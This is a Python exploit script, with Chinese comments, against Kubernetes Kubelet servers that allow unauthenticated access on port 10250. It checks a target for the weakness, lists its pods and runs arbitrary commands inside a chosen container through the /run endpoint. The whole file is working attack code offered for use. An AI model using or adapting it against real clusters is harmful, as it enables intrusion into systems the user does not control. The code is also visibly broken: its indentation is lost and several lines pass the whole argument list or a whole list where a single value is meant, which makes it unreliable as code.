import requests
import json
import sys
import urllib3
# 禁用SSL警告,因为Kubelet通常使用自签名证书
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class KubeletExploit:
def __init__(self, target_ip, port=10250):
self.target_ip = target_ip
self.port = port
self.base_url = f"https://{target_ip}:{port}"
self.session = requests.Session()
self.session.verify = False # 忽略证书验证
def check_vulnerability(self):
"""
检查目标是否存在未授权访问漏洞
"""
try:
# 尝试访问 /pods 接口,这是常见的检测点
url = f"{self.base_url}/pods"
response = self.session.get(url, timeout=10)
if response.status_code == 200:
try:
data = response.json()
if "items" in data:
print(f"[+] 目标 {self.target_ip} 可能存在未授权访问漏洞!")
print(f"[+] 状态码: {response.status_code}")
print(f"[+] 发现 Pod 数量: {len(data['items'])}")
return True
except json.JSONDecodeError:
pass
# 如果 /pods 返回 401 或 403,可能已修复或需要认证
if response.status_code in [401, 403]:
print(f"[-] 目标 {self.target_ip} 需要认证,漏洞可能已修复。")
return False
print(f"[-] 目标 {self.target_ip} 响应异常,状态码: {response.status_code}")
return False
except requests.exceptions.RequestException as e:
print(f"[-] 连接失败: {e}")
return False
def list_pods(self):
"""
列出节点上运行的所有 Pod
"""
try:
url = f"{self.base_url}/pods"
response = self.session.get(url, timeout=10)
if response.status_code == 200:
data = response.json()
pods = []
for item in data.get("items", []):
metadata = item.get("metadata", {})
spec = item.get("spec", {})
pod_name = metadata.get("name", "N/A")
namespace = metadata.get("namespace", "N/A")
containers = [c["name"] for c in spec.get("containers", [])]
pods.append({
"name": pod_name,
"namespace": namespace,
"containers": containers
})
return pods
else:
print(f"[-] 获取 Pod 列表失败,状态码: {response.status_code}")
return []
except Exception as e:
print(f"[-] 错误: {e}")
return []
def exec_command(self, namespace, pod_name, container_name, command):
"""
在指定容器中执行命令
API 端点: /run/{namespace}/{pod}/{container}
"""
try:
url = f"{self.base_url}/run/{namespace}/{pod_name}/{container_name}"
payload = {
"cmd": command
}
# Kubelet run 接口通常接受 POST 请求,参数在 body 中
response = self.session.post(url, data=payload, timeout=10)
if response.status_code == 200:
print(f"[+] 命令执行成功:")
print(response.text)
return response.text
else:
print(f"[-] 命令执行失败,状态码: {response.status_code}")
print(f"[-] 响应内容: {response.text}")
return None
except Exception as e:
print(f"[-] 执行命令时出错: {e}")
return None
def main():
if len(sys.argv) < 2:
print("用法: python kubelet_poc.py <target_ip> [command]")
print("示例:")
print(" python kubelet_poc.py 192.168.1.100 # 检测漏洞并列出Pod")
print(" python kubelet_poc.py 192.168.1.100 'whoami' # 执行命令 (需交互选择Pod)")
sys.exit(1)
target_ip = sys.argv
exploit = KubeletExploit(target_ip)
print(f"[*] 正在检测目标: {target_ip}")
if not exploit.check_vulnerability():
sys.exit(0)
print("\n[*] 获取 Pod 列表...")
pods = exploit.list_pods()
if not pods:
print("[-] 未找到任何 Pod 或获取失败。")
sys.exit(0)
print(f"\n[+] 找到 {len(pods)} 个 Pod:")
for i, pod in enumerate(pods):
print(f" {i+1}. Namespace: {pod['namespace']}, Name: {pod['name']}, Containers: {', '.join(pod['containers'])}")
if len(sys.argv) > 2:
command = sys.argv
print(f"\n[*] 请选择一个 Pod 进行命令执行 (输入序号):")
try:
choice = int(input("> ")) - 1
if 0 <= choice < len(pods):
selected_pod = pods[choice]
namespace = selected_pod['namespace']
pod_name = selected_pod['name']
# 默认选择第一个容器
container_name = selected_pod['containers'] if selected_pod['containers'] else ""
if not container_name:
print("[-] 该 Pod 没有容器信息。")
sys.exit(1)
print(f"[*] 在 Pod '{pod_name}' (Container: '{container_name}') 中执行命令: '{command}'")
exploit.exec_command(namespace, pod_name, container_name, command)
else:
print("[-] 无效的选择。")
except ValueError:
print("[-] 请输入有效的数字。")
else:
print("\n[*] 未提供命令,仅进行信息收集。")
if __name__ == "__main__":
main()